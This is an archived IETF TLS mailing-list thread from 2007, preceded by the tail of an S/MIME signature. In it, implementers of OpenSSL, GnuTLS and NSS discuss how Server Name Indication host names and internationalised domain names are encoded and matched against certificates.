Content-Description: S/MIME Cryptographic Signature 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 d+BIv0MUuC6+k2yIIQKcLbDuuk8lLJmwWuYt1OLHEskZxOm7D7nRwe7ZNlTIZvR/VFWxlY18 k488tH9qcusIw8+7uXeHOZHyFUOHMINJZO9mq9HwGMC4v1xiPwoAJkzFtHf3D9VAholjhEFg d28aJSs6qN15PXDgDjptAl34eoUxggKuMIICqgIBATBlMFsxCzAJBgNVBAYTAkZSMRAwDgYD VQQKEwdFZGVsV2ViMRgwFgYDVQQLEw9TZXJ2aWNlIEVkZWxQS0kxIDAeBgNVBAMTF0VkZWxQ S0kgRWRlbFdlYiBQZXJzR0VOAgYKr4oygN4wCQYFKw4DAhoFAKCCAZ8wGAYJKoZIhvcNAQkD MQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDcwNjE4MTY1MjUxWjAjBgkqhkiG9w0B CQQxFgQUEJ5BZ9FWo17VmQ9LlVnTwh1ByswwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0D BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGADfLrgAkrWpjY4TqM 5yQqv1z4BVGoAtbvquDukwSA/l9zc5XaJYMPKJM0TH5kGWlxlFoRB0BvwpAnQZhXdsrk+PUf Oarw1S+isgmkG+mkFlpeXq8J+btQOoFvFwLcsDPEMROI73qLnnDXkT6OwcWSR+WdCxqSfDkU kbXmse5ua0gAAAAAAAA= --------------ms010806050302040201030000-- --===============1841443502== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1841443502==-- From tls-bounces@lists.ietf.org Mon Jun 18 13:06:55 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Kgo-0003QL-AI; Mon, 18 Jun 2007 13:06:54 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Kgn-0003QD-O2 for tls@ietf.org; Mon, 18 Jun 2007 13:06:53 -0400 Received: from vinyl.extundo.com ([83.241.192.59]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0Kgm-0001GE-Bo for tls@ietf.org; Mon, 18 Jun 2007 13:06:53 -0400 Received: from mocca.josefsson.org (38.177.241.83.in-addr.dgcsystems.net [83.241.177.38]) (authenticated bits=0) by vinyl.extundo.com (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id l5IH5gxp014738 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 18 Jun 2007 19:05:48 +0200 From: Simon Josefsson To: Peter Sylvester References: <200706130441.01903.bradh@kdelabs.net> <4676B863.5080906@edelweb.fr> OpenPGP: id=B565716F; url=http://josefsson.org/key.txt X-Hashcash: 1:22:070618:peter.sylvester@edelweb.fr::0oi8xPGI5i9lfjiu:64oB X-Hashcash: 1:22:070618:tls@ietf.org::VW1532LIfkTPwuJ3:ICiv X-Hashcash: 1:22:070618:paul.hoffman@vpnc.org::1atuFLiaAm3oESgi:CUEX Date: Mon, 18 Jun 2007 19:05:42 +0200 In-Reply-To: <4676B863.5080906@edelweb.fr> (Peter Sylvester's message of "Mon, 18 Jun 2007 18:52:51 +0200") Message-ID: <87wsy1ry55.fsf@mocca.josefsson.org> User-Agent: Gnus/5.110007 (No Gnus v0.7) Emacs/22.0.95 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: Paul Hoffman , tls@ietf.org Subject: [TLS] Re: Encoding of data for Server Name Indication? X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Peter Sylvester writes: >> >> So, implementers of RFC 4366: what have you done so far? Encoded >> with ToASCII or ToUnicode? >> > our code in openssl leaves this to the application. It is the same in gnutls, the application can set any character string and it will be sent unprocessed. typedef enum { GNUTLS_NAME_DNS = 1 } gnutls_server_name_type_t; int gnutls_server_name_set (gnutls_session_t session, gnutls_server_name_type_t type, const void *name, size_t name_length); /Simon _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 15:21:22 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Mmi-0005nu-I0; Mon, 18 Jun 2007 15:21:08 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Mmh-0005mT-5d for tls@ietf.org; Mon, 18 Jun 2007 15:21:07 -0400 Received: from smtpout1453.sc1.he.tucows.com ([64.97.157.153] helo=n007.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0Mme-0000wD-Tr for tls@ietf.org; Mon, 18 Jun 2007 15:21:07 -0400 Received: from [192.168.0.2] (24.6.51.98) by n007.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 465670BB0045D1E4; Mon, 18 Jun 2007 19:21:00 +0000 Message-ID: <4676DB14.6040706@bolyard.com> Date: Mon, 18 Jun 2007 12:20:52 -0700 From: Nelson B Bolyard Organization: Spam haters R US User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070528 SeaMonkey/1.5a MIME-Version: 1.0 To: tls@ietf.org Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? References: <200706130441.01903.bradh@kdelabs.net> <4676B863.5080906@edelweb.fr> <87wsy1ry55.fsf@mocca.josefsson.org> In-Reply-To: <87wsy1ry55.fsf@mocca.josefsson.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7a6398bf8aaeabc7a7bb696b6b0a2aad Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Simon Josefsson wrote: > Peter Sylvester writes: > >>> So, implementers of RFC 4366: what have you done so far? Encoded >>> with ToASCII or ToUnicode? >>> >> our code in openssl leaves this to the application. > > It is the same in gnutls, the application can set any character string > and it will be sent unprocessed. Likewise for NSS. Any UTF8 string (or ASCII, since it's a subset) will be accepted and sent as-is. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 15:40:47 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0N5i-0007dU-Ra; Mon, 18 Jun 2007 15:40:46 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0N5h-0007dN-GL for tls@ietf.org; Mon, 18 Jun 2007 15:40:45 -0400 Received: from rune.pobox.com ([208.210.124.79]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0N5g-0006S2-9a for tls@ietf.org; Mon, 18 Jun 2007 15:40:45 -0400 Received: from rune (localhost [127.0.0.1]) by rune.pobox.com (Postfix) with ESMTP id 9612AFF309 for ; Mon, 18 Jun 2007 15:41:05 -0400 (EDT) Received: from [192.168.1.8] (wsip-24-234-114-35.lv.lv.cox.net [24.234.114.35]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by rune.sasl.smtp.pobox.com (Postfix) with ESMTP id 63D83FD464 for ; Mon, 18 Jun 2007 15:41:05 -0400 (EDT) Message-ID: <4676DF28.1090204@pobox.com> Date: Mon, 18 Jun 2007 12:38:16 -0700 From: Mike User-Agent: Thunderbird 2.0.0.0 (Windows/20070326) MIME-Version: 1.0 To: tls@ietf.org Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? References: <200706130441.01903.bradh@kdelabs.net> <4676B863.5080906@edelweb.fr> <87wsy1ry55.fsf@mocca.josefsson.org> <4676DB14.6040706@bolyard.com> In-Reply-To: <4676DB14.6040706@bolyard.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Nelson B Bolyard wrote: > Simon Josefsson wrote: >> Peter Sylvester writes: >> >>>> So, implementers of RFC 4366: what have you done so far? Encoded >>>> with ToASCII or ToUnicode? >>>> >>> our code in openssl leaves this to the application. >> It is the same in gnutls, the application can set any character string >> and it will be sent unprocessed. > > Likewise for NSS. Any UTF8 string (or ASCII, since it's a subset) will > be accepted and sent as-is. My client code also accepts any character string and sends it as is. The server does not perform ToASCII before comparing it to the name in the certificate. I have since implemented the ToASCII and ToUnicode functions, so it wouldn't be difficult to change; however, the server name extension has been around for 4 years, so sending ToUnicode strings might break existing servers. Mike _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 19:34:13 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0QjY-0007dK-MO; Mon, 18 Jun 2007 19:34:08 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0QjX-0007dB-LQ for tls@lists.ietf.org; Mon, 18 Jun 2007 19:34:07 -0400 Received: from [204.13.82.145] (helo=omail.authdirect.com) by ietf-mx.ietf.org with smtp (Exim 4.43) id 1I0QjW-0000dC-9g for tls@lists.ietf.org; Mon, 18 Jun 2007 19:34:07 -0400 Received: (qmail 15123 invoked by uid 1004); 18 Jun 2007 23:34:04 -0000 X-Spam-Status: No, hits=-1.4 required=5.6 tests=ALL_TRUSTED X-Spam-Check-By: omail.authdirect.com Received: from [141.156.112.27] (HELO [10.10.145.100]) (141.156.112.27) by omail.authdirect.com (qpsmtpd/0.32) with ESMTP; Mon, 18 Jun 2007 16:34:04 -0700 From: Brad Hards To: tls@lists.ietf.org Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? Date: Tue, 19 Jun 2007 09:35:09 +1000 User-Agent: KMail/1.9.1 References: <200706130441.01903.bradh@kdelabs.net> <4676DB14.6040706@bolyard.com> <4676DF28.1090204@pobox.com> In-Reply-To: <4676DF28.1090204@pobox.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200706190935.09520.bradh@kdelabs.net> X-Spam-Score: 0.0 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tuesday 19 June 2007 05:38, Mike wrote: > My client code also accepts any character string and sends it as > is. The server does not perform ToASCII before comparing it to > the name in the certificate. I have since implemented the ToASCII > and ToUnicode functions, so it wouldn't be difficult to change; > however, the server name extension has been around for 4 years, so > sending ToUnicode strings might break existing servers. OK, now I'm confused. If the server is using an internationalised name and the name in the certificate is encoded (which I understand it needs to be), then won't this always fail to match? I'm not so much concerned with what the libraries do - more in what the application code should do. Brad _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 19:57:59 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0R6Y-0006ix-As; Mon, 18 Jun 2007 19:57:54 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0R6X-0006ie-5l for tls@lists.ietf.org; Mon, 18 Jun 2007 19:57:53 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0R6V-0005Y9-Q6 for tls@lists.ietf.org; Mon, 18 Jun 2007 19:57:53 -0400 Received: from [10.20.30.108] (dsl-63-249-108-169.cruzio.com [63.249.108.169]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5INvaMl047237 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jun 2007 16:57:38 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: <200706190935.09520.bradh@kdelabs.net> References: <200706130441.01903.bradh@kdelabs.net> <4676DB14.6040706@bolyard.com> <4676DF28.1090204@pobox.com> <200706190935.09520.bradh@kdelabs.net> Date: Mon, 18 Jun 2007 16:57:25 -0700 To: Brad Hards , tls@lists.ietf.org From: Paul Hoffman Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 9:35 AM +1000 6/19/07, Brad Hards wrote: >On Tuesday 19 June 2007 05:38, Mike wrote: >> My client code also accepts any character string and sends it as >> is. The server does not perform ToASCII before comparing it to >> the name in the certificate. I have since implemented the ToASCII >> and ToUnicode functions, so it wouldn't be difficult to change; >> however, the server name extension has been around for 4 years, so >> sending ToUnicode strings might break existing servers. >OK, now I'm confused. > >If the server is using an internationalised name and the name in the >certificate is encoded (which I understand it needs to be), then won't this >always fail to match? It is not clear what you meant by "encoded". IDNs in PKIX certificates are given in their ToASCII format. See draft-ietf-pkix-rfc3280bis-08.txt, section 7. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 20:26:34 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0RYH-0003i6-H7; Mon, 18 Jun 2007 20:26:33 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0RYG-0003i1-ED for tls@lists.ietf.org; Mon, 18 Jun 2007 20:26:32 -0400 Received: from [204.13.82.145] (helo=omail.authdirect.com) by ietf-mx.ietf.org with smtp (Exim 4.43) id 1I0RYF-0004aa-2J for tls@lists.ietf.org; Mon, 18 Jun 2007 20:26:32 -0400 Received: (qmail 19426 invoked by uid 1004); 19 Jun 2007 00:26:30 -0000 X-Spam-Status: No, hits=-1.4 required=5.6 tests=ALL_TRUSTED X-Spam-Check-By: omail.authdirect.com Received: from [141.156.112.27] (HELO [10.10.145.100]) (141.156.112.27) by omail.authdirect.com (qpsmtpd/0.32) with ESMTP; Mon, 18 Jun 2007 17:26:29 -0700 From: Brad Hards To: Paul Hoffman Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? Date: Tue, 19 Jun 2007 10:27:34 +1000 User-Agent: KMail/1.9.1 References: <200706130441.01903.bradh@kdelabs.net> <200706190935.09520.bradh@kdelabs.net> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200706191027.34934.bradh@kdelabs.net> X-Spam-Score: 0.0 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org On Tuesday 19 June 2007 09:57, Paul Hoffman wrote: > >If the server is using an internationalised name and the name in the > >certificate is encoded (which I understand it needs to be), then won't > > this always fail to match? > > It is not clear what you meant by "encoded". IDNs in PKIX > certificates are given in their ToASCII format. See > draft-ietf-pkix-rfc3280bis-08.txt, section 7. Sorry, I'll try to be clearer. If I have an internationalised domain name, then the certificate for that domain will have the domain name in a (basically) ACE encoded format. The human user on the client side is presumably going to use UTF8 or perhaps UTF16 to specify the host they want to connect to. Which part of the system is responsible for making sure that the host name and the server certificate match? Brad _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Mon Jun 18 20:39:42 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Rkw-0004At-AH; Mon, 18 Jun 2007 20:39:38 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0Rku-0004Ag-Vc for tls@lists.ietf.org; Mon, 18 Jun 2007 20:39:36 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0Rkt-0007ng-JB for tls@lists.ietf.org; Mon, 18 Jun 2007 20:39:36 -0400 Received: from [10.20.30.108] (dsl-63-249-108-169.cruzio.com [63.249.108.169]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5J0dVCX052229 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jun 2007 17:39:32 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: <200706191027.34934.bradh@kdelabs.net> References: <200706130441.01903.bradh@kdelabs.net> <200706190935.09520.bradh@kdelabs.net> <200706191027.34934.bradh@kdelabs.net> Date: Mon, 18 Jun 2007 17:39:20 -0700 To: Brad Hards From: Paul Hoffman Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 10:27 AM +1000 6/19/07, Brad Hards wrote: >If I have an internationalised domain name, then the certificate for that >domain will have the domain name in a (basically) ACE encoded format. Correct. >The >human user on the client side is presumably going to use UTF8 or perhaps >UTF16 to specify the host they want to connect to. Correct, but unpredictably so. They type something into a text field in the chrome web browser. They click on a link. They run a program that 